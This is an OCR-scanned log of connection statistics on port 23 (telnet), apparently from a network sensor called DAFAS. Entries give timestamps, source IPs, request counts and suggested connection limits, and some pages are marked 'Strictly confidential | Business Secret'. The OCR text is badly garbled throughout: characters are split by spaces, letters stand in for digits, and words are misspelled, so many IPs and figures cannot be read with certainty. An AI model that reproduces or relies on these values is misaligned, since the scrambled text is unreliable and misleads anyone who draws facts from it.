0 6 : 5 5 : 5 8 .97, port=2 3, host=137 .59 .254.161, 1 host=O .O .O .O, peak=5, host p e a k=1,requ ests=5,termi nat ions=1,cu rrent=5,suggested_l i m it=1 0,suggested_percentage=20, d u rat io n=O,wa rn i ngs=O, qos_excepti ons =O,acti o n = N O  

L I M  IT,se nsorhost n a me=DAFAS 

8 

O 7 : 5  7 : 3  9 .19,  port= 23,  hos t= 17 2 .  3 1 . 2  25 . 3  8, l h os t=O .O .  O .  O, pea k= 12, hos t p e a k= 5,  re q u ests = 1 O, t e r m i n at  i o n s =3 ,c  u r re n t= 1 2 ,  suggest ed _l i m i t= 21,s  uggest ed _p e re e n tag e=55, d u rat i on =O, w a r n i ngs=O, q os_ excepti ons=O ,a  et i o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 
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8 

0 8 : 5 9 : 1 9 .47,port=23, host= l 7 2 . 3 1 . 2 2 5 .38, 1 host=O.O .O.O, peak=l9, hostpeak=S,requ ests = l l,termi nat ions=4,current=l9,s uggested_l i m it=37,s uggested_percentage=27,d urat ion=O,wa rn i ngs=O, qos_ except ions=O,acti o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 

8 

l O :  00 :5  9 .80, port= 23,  hos t= 17 2 .  3 1 . 2  2 5 .38,  l hos t=O .O .O .O, pea k =21,  hos t pea k=6, re q u ests =4, t er  m i nat ion s =3, c u rrent =2 O ,suggest ed _l i m i t=4 1 ,s uggest ed _p e re e n ta ge =30, d u rat i o n =O, w a rn i ng s =O, q os_ ex c e pti o ns=O ,a  et i o n =  N 

O L I M  IT,sens orhos tna me=DAFAS 

8 

1 1 : 02 :40.13,  port=23, hos t= l 7 2 .  3 1 . 2  25 .38,  l hos t=O .O .  O .O, pea k= 2 2, h ost pea k=6, re q u ests =4, t er  m i nat ion s =4, c u r rent= 2 O ,s  uggest ed _l i m it=43, sug g est ed _p e re e n tag e= 28 ,d u rat i o n  =O, w a rn  i ng s =O, q os_ e xce p t i o ns=O, a et i o n =  N 

O Ll M IT,sensorhostna me=DAFAS 

8 

1 2 :04 :20 .39,port=23, host=l72 . 3 1 .225 .38, 1 host=O .O .O.O, peak=2 l , h ost peak=6,requ ests=8,termi nati ons=7,current=2l,suggested_l i m it= 4l,suggested_pe rcentage=30, d u rat ion=O,wa r n i ngs=O,qos_except io ns=O,a cti o n = N  

OLI  M IT,s ensorhostna me=DAFAS 

8 

1 3 : 06:00.7 2, port=2 3,  hos t= l 7 2 .  3 1 . 2  2 5 .  38, l hos t=O .O .O .O, pea k =2 4, hos t pea k= 7, re q u ests = 14, te r m i n at  i o n s=  l l,cu r re n t= 2 4, suggest ed _l i m i t=4 7 ,s  uggest ed _perce n ta ge =30, d u rat i o n =O, w a rn  i ng s =O ,q os_ ex c e p t io  ns=O ,a  et i o n 

= N O L l  M IT,s ens orhostna me=DAFAS 

8 

14:07 :4l .Ol, port=23, host=l72 . 3 1 . 2 2 5  .38, 1  host=O .O .0 .0, pea k=28, hos t peak= 7 ,requ ests=4, term i nati  ons=4,current =24,suggested _I i  mit= 5 6  ,suggested _pe rcentage=2S,d urat ion=O, warn i  ngs=O,qos _ exceptio ns=O, a ct i o n = N  

O L I M IT,s ens orhostna me=DAFAS 

8 

1 5 : 09 : 2 1 .30, p o r t= 2 3, h os t= l 7 2 .  3 1 . 2  2 5  .3  8, l hos t=O .O .  O .  O, pea k= 24, hos t pea k= 5,  re q u ests =6, t e r m i n at i on s=  1 6  ,c  u r re nt=l4 ,s uggest ed _l i m i t =4 9 ,s  uggested _percenta ge=2 O, d u rat i on =O, w a r n i ngs=O, q os_ except i o n  s =O , a ct i o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 

8 

1 6 : 1 1 : 0 1 .63,port=2 3, host=l37 .59 .254.16l, l host=O .O .O.O, peak=l4,host pea k=3,requ ests=l,termi natio ns=8,cu rrent=7,s uggested_l i m it= 28,s uggested_pe rcentage=2 l,d u rat ion=O,wa rn i ngs=O,q os_exce ptio ns=O,a ctio n = N  

O L I M IT,s ensorhostn a m e = DAFAS 

8 

1 7 : 1 2 : 4 1 .83, port=23, host=l37.59 .254 . 1 6 l , l h ost=O.O.O .O,pea k=7, hostpeak=2,requ ests=O,termi nat ions=S,cu rrent=2,suggested_l i m it=l3,suggeste d_percentage=33 , d u rat io n=O,wa rn i ngs=O, qos_except ions=O,act i o n = N O  

L l  M I T,se nsorhostna me=DAFAS 

9 

0 5 : 3 2 : 4 S . 39, port=23,host=l 2 7 . 0 . 0 . l , l h ost=O.O .O .O,pea k=2, h ost peak=l,requ ests=2,te r m i natio ns=O, cu rrent=2,s uggested_l i m it=3,s uggested_percentage=l00, d u rat ion=O,wa r n i n gs=O,q os_except ions=O,acti o n = N O L I M IT, 

sensorhostna me=DAFAS 
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9 

06 : 3 4 : 2 S .  73,  port=23, host=83 . 1 7  4 .92 . 186, 1  host=O.O .0.0, pea k= 7, hostpeak=1, re q u ests=S, term i nat io ns=O ,cu rre n t= 7 ,suggested _l i mit=14,s uggested _perce ntage=14,d u rati o n =O, warn i  ngs=O , q  os_ exceptions=O,act i  on= NO L 

I M  I T,se nsorhostna me=DAFAS 

9 

O 7 : 3  6 :  O S .  99, port=23, hos t= 17 2 .  3 1 . 2  2S .3  8,  l hos t=O .O .  O .  O, pea k= 13,  hast p e a k= 3, re q u ests =8, t er  m i nat ion s =3, c u r rent= 12,sugg est ed _l i m it=2 6 ,s  uggested _p e rcenta ge= 2 3, d u rat i on =O, w a rn  i ng s =O , q  os_ ex c e pti o ns=O, a et i o n =  N 

O Ll M IT,s ensorhostna me=DAFAS 

9 

0 8 : 3 7 :46.34,port=23, host= 1 7 2 . 3 1 . 2 2 S .38, 1 host=O.O .O.O, peak=18, host peak=6,requ ests=8,termi nat ions=3,current=17,suggested_l i m it=34,suggested_pe rcentage =37,d urati o n =O,wa r n i ngs=O,q os_exce pt io ns=O,action = N  

OLI M I T,sensorhost n a m e = DAFAS 

9 

0 9 : 3 9 : 2 6 . 5 8, port=2 3, host=137 .S9 .2S4.161, 1 host=O.O .O.O, pea k=23, hostpea k=4, requ ests=8,te r m i nat ions=3,cu rrent=22,s uggested_l i m i t =48,s uggested_percentage=16, d u rat ion=O,wa rn i ngs=O, qos_except ions=O,act i o n =  

NOL l  M IT,s ensorhostna me= DAFAS 

9 

1 0 : 4 1 : 06.94,port=23, host= 1 7 2 . 3 1 . 2 2 S .38, 1 host=O.O .O.O, peak=22, host peak=S,requ ests=8,termi nat ions=1 1,curre nt=19,s uggested_l i m i t =44,s uggested_percentage=2 2, d u rat ion=O,wa r n i n gs=O, qos_except ions=O,acti on= 

N O L I M IT,s e nsorhost n a m e= DAFAS 

9 

1 1 :42 :4 7 . 1 7  , port=23, host=172 . 3 1 . 2 2 S  .38, 1  host=O.O .0 .0, pea k=20, h ast pea k=S ,requ ests=2, term i nati  ons=4,current=17 ,s uggested _l i mit= 40 ,suggested_pe rcentage=2S,d u rat ion =0, w a r n i  ngs=O,qos _ex c e pti o ns=O,a cti o n =  N 

O L I M IT,s ensorhost n a m e = DAFAS 

9 

12 :44:27 .46,port=23, host=172 . 3 1 . 22S .38, l host=O .O .0.0, pea k=19, hostpeak= 7, re q u ests=4, term i nati  ons=4,c urrent=17,suggested _l i m i t= 3S ,suggested_pe rce ntage=43,d u rati o n =O, w a r n i ngs=O,q os _ except ions=O,a et i o n =  N 

O Ll M I T,s ensorhostna me=DAFAS 

9 

13 :46:07.79,  port=23, h os t= 17 2 . 3 1 .  2 2S . 3 8, l h os t=O . O .  O .  O, pea k= 19,  hos t pea k=6, re q u ests= 11 ,  t er  m i n at i o n s=  12,c u r re n t= 16, s uggest ed _l i m i t=3 6 ,s ugg est ed _p e re e ntage =3 S,  d u rat i on =O, w a rn  i ng s =O ,q os_ ex c e pti o ns=O, a ct i o n 

= N O L l  M IT,s ensorhostna me=DAFAS 

9 

14:47:48.06, port=23 , h ost=172 . 3 1 . 2 2 S . 38, 1 host=O .O .O.O, peak=16, hostpeak=6,requ ests=S,termi nati ons=10,current= 1 1,suggested_l i m it=29,s uggested_p ercentage=46, d urat ion=O,wa rn i ngs=O, qos_except ions=O,acti o n =  

N O L I M IT,se nsorh ost n a m e = DAFAS 

9 

1 S :  49 :  28 .38, port=23, hos t= 17 2 .  3 1 . 2  2S . 3  8,  l hos t=O .O .O.  O, p e a k= 1 1, hast pea k= S, re q u ests =S, term i n at i ons =9, c u r re n t =  7 ,s uggested _l i m i t= 19 ,s uggest ed _perce n tag e=6 2, d u rat i o n =0, w a rn i ngs=O, q os_ ex c e pti on s =O ,a  et i o n= NO 

L I M I T,se nsorhost n a me=DAFAS 
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9 

1 6 : 5 1 :08.65 , port=23, host=172 . 3 1 . 2 2 5  .38, 1  host=O .O .0 .0, peak= 7, hostpea k=l, requ ests =2,termi nat i  o n  s= 7 ,cu rre nt=2,suggested_l i mit=14 ,s uggested _perce ntage=14,d u ration =O, w a r n i  ngs=O , q  os_ exceptions=O,act i o n = N O L  

l M IT,se nsorhostna me=DAFAS 

9 

l 7 : 5  2 :48.99, port=2 3, hos t= 1 64 . 9 .  2 2 6 .  94, l host=O .O .  O .O, pea k=2, hos t p e a k= l ,  re q uests =l,  t e r m i n at  i on s =  l,c u r rent =2 ,s uggested _l i m it=3, sug g ested _p e re entag e= l 00, d u rat i on =O, w a rn  i ng s =O ,q os_ ex c e pti o ns=O , a  et i o n =  N O Ll 

M IT,s e nsorhost n a m e = DAFAS 

9 

1 8 : 5 4 : 2  9 .  28, p o r t= 2 3,  hos t= 164. 9 .  22 6 .  94, l ho st=O . O .  O .  O, pea k=2, hos t p e a k=2, re q u ests = l, t e r m i nat ions =2,c u r re n t= l,  s uggested _l i m i t =4 ,suggeste d _p e rcentag e= l 00, d u rat i on =O, w a rn  i ng s =O , q  os_ exce ptio n  s=O, a et i o n =  N O Ll 

M IT,s e nsorhost n a m e= DAFAS 

9 

1 9 : 56 :09 .57, port=2 3, host=164 . 9 . 2 2 6 .94, 1 host=O .O.O.O, pea k=3, hostpea k=2, req uests =2,term i n a t ions=2,cu rrent=l,s uggested_l i m it=5,suggested_percentage=lOO, d u rat ion=O,wa rn i ngs=O,q os_exce pt ions=O,act i o n = N O L I  

M IT,s e nsorhost n a m e= DAFAS 

lO 

05 : 1 1 :  1 2 . 2  7,  port= 23,  hos t=4 1 .  82 . 1 7 9 .  2 3 7, l hos t=O .O .O .O, pea k= l,  hos tpea k= l,  re q u ests = l,  te r m i nat ion  s= l ,  c u r re nt=O ,s  uggested _l  i m it=2 ,s uggest ed _p e re e n tag e= l 00 , d  u r at i o n  =O, w a rn  i ng s =O, q os_ e xce pti  o n s=O, a ct i o n= N O L 

I M IT,se nsorhost n a me=DAFAS 

lO 

06:  1 2 : 5  2.  51,  port= 2 3,  hos t=9 3 . 186 .l 70 .54, l h os t=O .O.  O .  O, pea k =l,  hos t p e a k= l ,  re q u ests = 2,  t e r m i nati o n  s= 2 ,  c u r re nt=O ,sugg est ed _l  i m it=2, suggest ed _p er  c e ntage= l 00, d u rat i o n  =O, w a r n i ng s =0 , q  os_ ex c e pti  o ns=O ,a  et i o n =  N O L 

I M I T,sensorhost n a me=DAFAS 

lO 

07 : 14 : 3 2 .84, port=23, host=9 3 . 186. 170 . 54, 1 host=O.O .O.O,peak=l, hostpea k=l,requests=3,termi nat io ns=2,curre nt=l,suggested_l i m it=2, suggested_percentage=lOO, d u rat ion =O,wa rn i ngs=O,qos_exce ptio ns=O,acti o n = N O L  

I M I T,se nsorhost n a me=DAFAS 

lO 

1 9 : 3 4 : 3 6 .40, port=2 3 , h ost=194 . 2 3 . 6 1 . 1 5 l , l host=O .O.O .O,peak=l, hostpea k=l , requests=l,termi nat ions=l,curre nt=O,suggested_l i m it=2, suggested_perce ntage=100, d u rat ion =O,warn i ngs=O,q os_exce pti o ns=O,act io n = N O L  

l M IT,se nsorhost n a me=DAFAS 

lO 

2 3 : 0 1 : 10.41, port=2 3, host=164 . 9 .226 .94, 1 host=O .O .O .O, pea k=l,hostpea k=l , req uests =l,termi nat ions=O,current=l,s uggested_l i m it=2,suggested_percentage= 100, d u r a t i o n =O,wa r n i ngs=O,q os_exce ptio ns=O,acti o n = N O L I  

M IT,s e nsorhost n a m e= DAFAS 

12 

0 6 : 3 1 :26 .37, port=2 3, host=127 .0 .0 .l, l h ost=O.O .O .O, pea k=4, h ostpea k=l,requ ests=4,ter m i nat ions=O, current=4,s uggested_l i m i t=8,s uggested_perce ntage=25,d u ration =O,wa rn i ngs=O,q os_exc e pt ions= O,acti o n = N O L I M IT,s 

ens orhostna me=DAFAS 
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12 

O 7 : 3 3 :06.7 5,  port=23, hos t= 13  7 .  59 .254 . 161,  l hos t =0 .O .  O .  O, pea k= 1 1, hos t pea k= 2,  re q u ests= 1 1 ,  ter m i nati  o ns=4, c u r re n t= 11 ,s ugg est e d _l  i m i t= 2 2,s uggested _p e rce n tag e= 18,  d u rat  i on =O, w a r n i ngs =O , q  os_ ex c e pti o ns=O ,acti o n  

= N O L l  M IT,s ens orhostna me=DAFAS 

12 

0 8 : 34:46.97, port=23, host=l37 .59 .254 .16l, l host=O .O.O .O,peak=13, hostpea k=3,re q u ests=5,te r m i natio ns=4,current=l2,s ugg ested_l i m i t=26,s uggested_percentage=23 , d u rat ion=O,wa rn i ngs=O, qos_except ions=O,act i o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 

12 

0 9 : 3 6 : 27 .33 ,  port=23, host=l72 . 3 1 . 2 2 5  .38, 1  host=O.O .O .0, pea k=l9, host peak=5,  re q u ests =9, term i nati  ons=2,cu rrent=l9,suggested_l i m i t= 3 7 ,s uggested _percentage=2 7 ,d u ration =0, warn i  ngs=O,qos _ exceptio ns=O,a cti o n = N  

O L I M IT,sens orhostna me=DAFAS 

12 

10 :38 :07 .64,port=23, host= l3 7 .59 .254 . 161,  l host=O.O .O .0,  peak=20, hostpea k=3 , requ ests=6, ter m  i nat ions= 7 ,cu rrent=l8,s uggested _l  i mit  =42,s uggested_percentage=l3 , d  u rat ion =O, w a r n i ngs=O, qos _ exceptions=O,acti  o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 

1 2  

1 1 : 3  9 : 4  7 .  9 1 ,  port=23, hos t =  l 7 2 .  2 6 .  9 6 . 1 2  6 ,  l hos t=O . O .  O .  O ,  pea k= 1 9 ,  hos t p e a k =  3,  re q u ests =4, t er  m i n a t i o n  s =6, c u rrent= 16 , s  uggested _ l  i m i t =  4 0  ,suggested _p e rce nta g e =  14, d u r a  t i on =O, w a rn i ng s =O, q os_ ex c e pti o ns=O , a ct ion= N 

O L I M IT,sensorhostna me=DAFAS 

12 

1 2 : 4 1 : 2 8 . 19,  port=23, host=l72 . 3 1 . 225 .38, 1  host=O .O .0 .0,  pea k=20, host pea k=6,  re q u ests=9, term i nat ions=6,c urrent=l9 ,s uggested _l i m it= 3 9  ,suggested_pe rcentage=3l,d urat ion=O, w a rn i ngs=O,qos _ exce ptio ns=O,a ct i o n  = N  

O L l  M IT,sens orhostna me=DAFAS 

12 

13 :43 :08 .46,port=23, host=l64 . 9 . 2 2 6 .94, 1 host=O .O.O .O, pea k=l9, hostpea k=l,requ ests =2,t e r m i n at io ns=5,curre nt= l6,suggested_l i mit=4 2,s uggested_percentage=4, d u ratio n=O,wa rn i ngs=O, qos_excepti ons=O,acti o n = N O L  

I M I T,se nsorhost na me=DAFAS 

1 2  

14:44:48.77,port=23, host=l37 .59 .254.16l, l host=O .O .O.O, peak=l7, host pea k=4, requ ests=4,termi natio ns=5,current=l5,s uggested_l i m it=34,s uggested_percentage=23 , d u rat ion=O,wa rn i ngs=O, qos_excepti ons=O,acti o n =  

N O L I M IT,se nsorhost n a m e = DAFAS 

12 

15 :46:  2 9 .  08,  port=23, hos t= 13 7 .  5 9 . 254 . 1 6 1 ,  l h ost =O .O .O .O,  pea k= 15, hos t pea k =5,  re q u ests=4, ter  m i nati  o ns=9,  c u r ren t= l O ,s uggest ed _l  i m i t= 2 8 ,s uggeste d _p er  c e n tage=38, d u rat  i o n =O, w a rn i ngs=O, q os_ ex c e p t i o n s =O, a ct i o n =  

NOL l  M IT,s e nsorh ost n a  m e = DAFAS 

12 

16 :48 :09 .33,port=23, host= l 7 2 . 3 1 . 2 2 5 .38, 1 host=O.O .O.O,peak=lO,hostpea k=4, requ ests =l,termi nat ions=lO,current=l,suggested_l i m it=l8,suggested_pe rcentage=50, d u rat ion=O,wa rn ings=O,q os_exce ptions=O,act io n = N  

O L I  M IT,s ens orhostna me= DAFAS 

Strictly confident i a l  l Bus iness Secret l 
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1 2  

20:54:50.55,port=23 , h ost=l64 . 9 . 2 2 6 .90, 1 host=O .O.O.O, pea k=l, hostpea k=l, req uests=l,term i nat i ons=O,current=l,s uggested_l i m it=2,s uggested_percentage=l00, d u rat ion=O,wa rn i ngs=O,q os_except io ns=O,acti o n = N O L I  

M IT,s ensorhost n a m e = DAFAS 

13 

06:09 : 5 3 . 17,port=23, host=l27.0 .0 . l , l h ost=O.O .O .O,peak=3,hostpea k=l,requ ests=3,te r m i nat io ns=O, current=3,s uggested_l i m it=S,s uggested_percentage=SO,d urat ion=O,wa r n i n gs=O,q os_exceptions=O,act i o n = N O L I M IT,s 

ensorhostna me=DAFAS 

13 

0 7 : 1 1 : 3 3 .50,port=23, host=l37 .59 .254 .16l, l host=O.O .O.O, peak= lO, host peak=3,requ ests=8,te r m i natio ns=l,cu rrent=lO,s uggested_l i m it =l9,s uggested_percentage=3 3 , d u rat ion=O,wa rn i ngs=O, qos_except ions=O,acti o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 

13 

0 8 : 1 3 : 1 3 . 8 l, port=23, host= 1 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O.O .O,peak=lS, host peak=4,requ ests=8,termi nat ions=3,cu rrent=lS,suggested_l i m it=29,suggested_pe rcentage=28,d u rat ion=O,wa r n i ngs=O,qos_exce ptio ns=O,a cti o n = N  

O L I M IT,s ensorhost n a m e = DAFAS 

13 

09 : 14 :54 .15 ,port=2 3 , h ost=l 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O .O .O, peak=l9, hostpeak=6,requ ests=8,terminat ions=4, c u rrent=l9,suggested_l i m it= 36,suggested_percentage=35,d u rat ion=O,wa r n i ngs=O,q os_exce pti o n s=O,a ctio n = N  

O L I M  I T,sens orhostna me=DAFAS 

13 

l O :  1 6 :  34 .3  7 ,  port= 23,  hos t= l 7 2 .  3 1 .2 2 5 .  38,  l hos  t=O .O .  O .O, pea k =21,  h ost pea k= 7 ,  re  q u ests =4, t er  m i nat i  o ns=2 ,c  u rrent = 2l,s  uggest ed _ l  i m i t=  40,  suggest ed _p e rcentag e=36 , d  u r at i on =O, w a rn  i ng s =0, q os_ ex c e pti o ns=O ,a  et  i o n =  N 

OL I  M IT,sens orhostna me=DAFAS 

13 

1 1 : 18 : 14. 68, port=23 , h ost=10 . 170.0 .85, 1 h ost=O .O.O.O, pea k=23,hostpeak=l,req uests=4,t e r m i n a tions=3,current=22,suggested_l i m it=S l ,suggested_percentage=3, d u rat ion=O,wa rn i ngs=O, qos_except ions=O,act i o n = N O L I  

M IT,s e nsorhost n a m e= DAFAS 

13 

1 2 :  1 9 : 54 .9  5,  port=23,  hos t= 17 2 .  3 1 . 2  25 .3 8, l hos t=O .O .O .O, pea k =2 7,  hos t pea k= l O, re q u ests = 11 ,  te r m i n a tio ns=9 ,c u r re nt=24, suggest ed _l i m it=SO ,s ugg est ed _per c e n ta ge =43 , d u rat i on =O, w a rn i ngs=O ,q os_ ex c e p tio ns=O ,a  et i o n 

= N O L I M IT,sensorhostna me=DAFAS 

13 

1 3 : 2 1 : 3 5  .24, port=23, host=l72 . 3 1 . 2 2 5  .38, 1  host=O .O .0 .0,  pea k=24, host pea k=8, requ ests=3, term i nat ions= 7 , c u rrent=20,suggested _I i  m it=45 ,suggested _p e rcentage=38,d u ratio n =O, w a rn i  ngs=O,qos _ except ions=O, a ct io n =  N 

O L I M IT,s ens orhostn a me=DAFAS 

13 

14: 2 3 :  15 .54, port= 2 3, hos t= 17 2 .  3 1 . 2  25 .3  8,  l hos t=O .O .O .O, pea k= 2 3,  hos t pea k= 8, re q u e s t s =6, terminat io  n s =6, c u rrent =2 O ,s uggest ed _l i m it=43 ,s uggest ed _p e re e n tag e=40 ,d u r at i on =O, w a rn i ng s =O, q os_ ex c e pti o ns=O ,a  et i o n =  N 

O L I M I T,sens orhostna me =DAFAS 

Str ict ly confidenti a l  l Bus i ness Secret l 
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13 

l S :  24 :SS .86, port=23, host=17 2 . 3 1 . 2 2 S  .38,  l host=O .O .O .0 ,  pea k=20, hast peak= 7 ,requ ests =4, term i nat i  ons=9 , c u rren t=lS ,s uggested_l i m it=3 7 ,suggested _p e rcentage=41,d u rat ion  =0, w a rn i  ngs=O,qos _ex c e ptio ns=O,acti o n = N  

O U M IT,sens orhostna me=DAFAS 

13 

16 :2  6 :3  6 .  20, port=23, hos t=  17 2 .  31 .2  2S . 3  8 ,  l hos t=O . O .  O .  O ,  pea k= 16, hast p e a k=  S,  re  q u ests =2, t er  m i nat ion s= 1 1, c u r re  nt=6 ,s  uggest ed _l i m i t=  31 ,  suggested _p e rce ntage =3 3, d u rat i on =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O, a et i o n =  N 

O U  M IT,s ens orhostna me=DAFAS 

13 

17 :28 :  16 .48, port=23, hos t=  17 2 .  31 .2  2S . 3  8 ,  l hos  t=O . O .  O .  O ,  pea k =6, hos t p e a k=2 , re  q u ests =O, t er  m i nat i  o ns=4, c u r re  nt=2 ,s  uggested _l i m i t=  1 1  ,s uggest ed _p e re  e ntage =40, d u ra  t i o n =O, w a rn  i ngs=O, q os_ exception s =O ,act i o n =  N O L 

I M IT,sensorhost n a m e =DAFAS 

13 

1 8 :  2 9 :  S 6 .  7 S,  port=2 3, hos t=l O .170.  O . l  00, l host=O . O. O .O, pea k= 2, ho stpea k= 1, re q u ests= 1, te r m i n a t i on s =2 ,c u rrent = 1, s uggest e d _l i m it=3 ,s ugges t ed _perce n t ag e= 100 ,d u rat i on =O, w a rn i ngs=O ,q os_ exce ptio n  s=O ,a et i o n =  N O U 

M IT,s e nsorhost n a m e = DAFAS 

13 

1 9 : 3 1 : 3 7  .04,port=23, hast= 7 1 . 19 8 . 1 1 4  .94, 1 h ost=O .O  .0.0, pea k=l,  hostpea k=l, re  q u ests =4, term i nat io ns=S ,cu rre nt=O ,s uggested _l i mit=2, suggest ed _perce ntage=lOO, d u rat ion=O, warn i  ngs=O,qos _ except ions=O ,act i o n = N O L  

I M I T,sensorhost n a m e=DAFAS 

14 

06 :S0 :00.30, port=23 , h ost=137 .59 .254.161, 1 host=O .O .O.O, peak=9, hostpeak=2,requ ests =9,termi nati ons=O,cu rrent=9,suggeste d_l i m it=1 8,suggested_percentage=22, d u rat io n=O,wa rn i ngs=O, qos_except ions=O,acti o n = N O  

U M I T,sens orhost n a me=DAFAS 

14 

0 7 : 5 1  :40.58, port=2 3,  hos t= 17 2 .  3 1 . 2  25 .38, l hos t=O .O .  O. O, pea k= 15, hast p e a k=4, re q u ests =9, t er  m i nat ion s =3, c u rrent = 15 ,s uggest ed _l i m i t= 2 9 ,sugg ested _p e rcentage =28 ,d u rat i on =O, w a rn i ng s =O, q os_ e xce pti o ns=O ,a  et i o n =  N 

O U  M IT,s ensorhostna me= DAFAS 

14 

08 : 5 3 :  2 O. 89, p o rt=2 3, hos t= 17 2. 3 1 . 2  2 5 .  38, l hos t=O .O .O .O, pea k= 2 1 ,  hast p e a k= 6, re q u ests = 7, t er  m i nat ion s=  1, c u r rent =21,s  uggest ed _l i m it=41 ,sugg est ed _p e rcentage =30,  d u rat i on =O, w a rn i ng s =O, q os_ ex c e p t i o ns=O, a et i o n =  N 

O U M IT,s ens orhostna me=DAFAS 

14 

0 9 : 5 5 : 0 1 . 1 5  , port=23, host=172 . 3 1 . 2 2 5  .38,  l host=O .O .0 .0,  pea k=23, host pea k=8,requ ests=8, term i nat ion s= 7,current=22,suggested _Ii mit=43 ,suggested _p e rcentage=40,d u rat ion =O, warn i  ngs=O,q os _ ex c e ptio ns=O,a cti on= N 

O U M IT,sensorhostna me=DAFAS 

14 

1 O: 56 :41 .46, port= 23, hos t= 1 O . l  70. O .  59, l h ost=O . O .O .O, p e a k=2 3,  hostp e a k=2, re q u ests =4, te  r m i n a t i on s =5 ,c  u rrent =21,  sugges te d _l i m i t=SO ,s uggest ed _p e re e n tag e= 7, d u r at i o n=O, w a r n i ngs=O, q os_ excepti on s =0 ,a  et i o n= N O U 

M IT,s e nsorhost n a m e = DAFAS 

Strictly confidenti a l  l Bus i ness Secret l 
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14 

1 1 : 5 8 : 2 1 . 8 l, port=2 3 , h ost=17 2 . 3 1 .225 .38, 1 host=O .O.O .O,peak=21, host p e a k=7,requ ests =S,termi nati ons=8,current=1 8,suggested_l i m it=40,suggested_pe rcentage=36, d u ration =O,wa rn i ngs=O,q os_exce pt ions=O, a ct ion = N  

O L I  M IT,s ensorhostna me=DAFAS 

14 

13 :00:02 .05, port=23, host= 1 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O.O .O, peak=20, hostpeak=7,requ ests=S,termi nati ons=S,cu rrent=18,suggested_l i mit=37,suggested_pe rcentage=4 l , d u rat ion=O,wa rn i ngs=O,q os_exce ptio ns=O,a cti o n = N  

O L I M IT,s ensorhostna me =DAFAS 

14 

14 :01 :42.36,  port=23, host=137 .59 .254 .161,  l host=O.O .0.0, peak=19, hos t pea k=3 , r e q u ests=S ,ter m i nat io ns=6 ,current=17 ,s uggested_l i mit =40,s uggested _percentage=14, d u rati on =O, warn i  ngs=O,qos_ except ions=O,act i  o n =  

NO L I M  IT,se nsorh ost n a m e= DAFAS 

14 

1 5 : 0 3 : 2  2. 64, port= 2 3, hos t= l 7 2. 3 1 . 2  25 .3  8,  l hos t=O .O .O .O, pea k= 2 O, hos t pea k= 8, re q u ests =6, te r m i n at i o n s=  l O ,c  u r re n t= 13 ,s  uggest ed _l i m i t =3 6, s uggest ed _p e re en tag e=SO, d u ration =O, w a rn i ngs=O, q os_ ex c e p t i on s =0, a et i o n =  

N O L I M IT,s ensorhost n a m e = DAFAS 

14 

1 6 : 0  5 :  O 2 .  98, port=2 3,  hos t= 17 2 .  3 1 . 2  2 5 . 38, l hos t=O . O .  O .  O, pea k= 13,  h ost pea k=6, re q u ests =3, t er  m i nat ion s=  7, c u r rent =9 ,sugg est e d _l i m it=2 2,s uggest ed _perce n tag e=6 6, d u rat i o n =O, w a rn i ngs=O, q os_ except i o n  s =O, a et i o n= NO 

L I M I T,sens orhost n a m e =DAFAS 

14 

17 :06 :43 .21 ,  port=23, host=172 . 3 1 .225 .38, l host=O .O .0.0, peak=9, hostpea k=3, req u ests =l,term i nat io ns=S ,cu rre nt=S ,s uggested _l i mit=17 ,s uggested_perce ntage=3 7 ,d u rat ion =O, warn i  ngs=O ,q os_ exceptions=O,act i  on = N O L  

l M I T,se nsorhost n a me= DAFAS 

14 

18 :08 :23  .51,  p o r t= 2 3, h os t= l 7 2.  3 1 . 225 .3  8,  l h os t=O .O.  O .  O, pea k=S, hostpea k= l ,  re q u ests= l,  te r m i n at i o ns=4 ,c  u r re n t= 2 ,s ugg est ed _l  i m i t= lO ,s ugg est ed _p e re e n tag e=2 O, d u ration =O, w a rn  i ngs=O, q os_ exception s =O, a et i on =N O L 

I M  I T,se nsorhostna me=DAFAS 

14 

2 0 : 1 1 :44.18, port=23, host=164 . 9 .226.92, 1 host=O .O.O .O, pea k=l, hostpea k=l,req uests =l,terminat ions=O,current=l,s uggested_l i m it=2,suggested_percentage=100, d u ra t ion=O,wa rn i ngs=O,q os_exce ptio ns=O,act i o n = N O L I  

M IT,se nsorhost n a m e = DAFAS 

1 5  

0 6 : 2 8 : 2  7 . l  O ,  port=2 3,  hos t =  13  7 .5  9 .  2 5 4  . 1 6 1 ,  l host=O. O .O .  O ,  pea k =6, hos t p e a  k =  2,  re q u ests = 7,  t e r m  i n a t i o n  s =  l,  c u r r e  nt=6 ,s ugges t e  d _ l  i m it=l l,s ugg est ed _ p  e r centag e=40, d u rat i o n=O, w a rn  i ngs=O, q os_ e x  c e p t i on s = O  ,a  e t  i o n= NO 

L I M I T,sens orhost na me=DAFAS 

15 

07 :30 :07 .35,port=23, host=17 2 . 3 1 . 2 2 5 .38, 1 host=O.O .O.O,peak=13, hostpeak=3,requ ests=9,t ermi nat ions=2,cu rrent=l3,suggested_l i m it=26,s uggested_pe rcentage=23,d u rat ion=O,wa rn i ngs=O,qos_exce ptio ns=O, a ct i o n = N  

O L I M IT,sens orhostna m e=DAFAS 

Strict ly confident i a l  l Bus i ness Secret l 
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lS 

08 : 3 1  :4 7 .  71 ,  port=23, host=l72 . 3 1 . 22S .38, 1  host=O.O .0.0,  pea k=24, host peak= 7 ,re q u ests =13,  termi  nat ions=2,curre nt=24, suggest ed _l  i m it=4 7,s uggested _percentage=30, d urat ion=O, warni  ngs=O, qos _ excepti ons=O,acti on= 

N O L I M IT,s e nsorhost n a m e = DAFAS 

lS 

0 9 : 3 3 : 2 7 .97, port=2 3 , h ost=l0. 170.0 .8S, I h ost=O .O.O.O, pea k=24, hostpea k=4,req uests=7,terminat ions=ll,cu rrent=20,suggested_l i m it=S O,suggested_percentage=lS, d u rat ion=O,wa rn i ngs=O, qos_except ions=O,actio n = N O  

Ll M I T,se nsorhostna me=DAFAS 

lS 

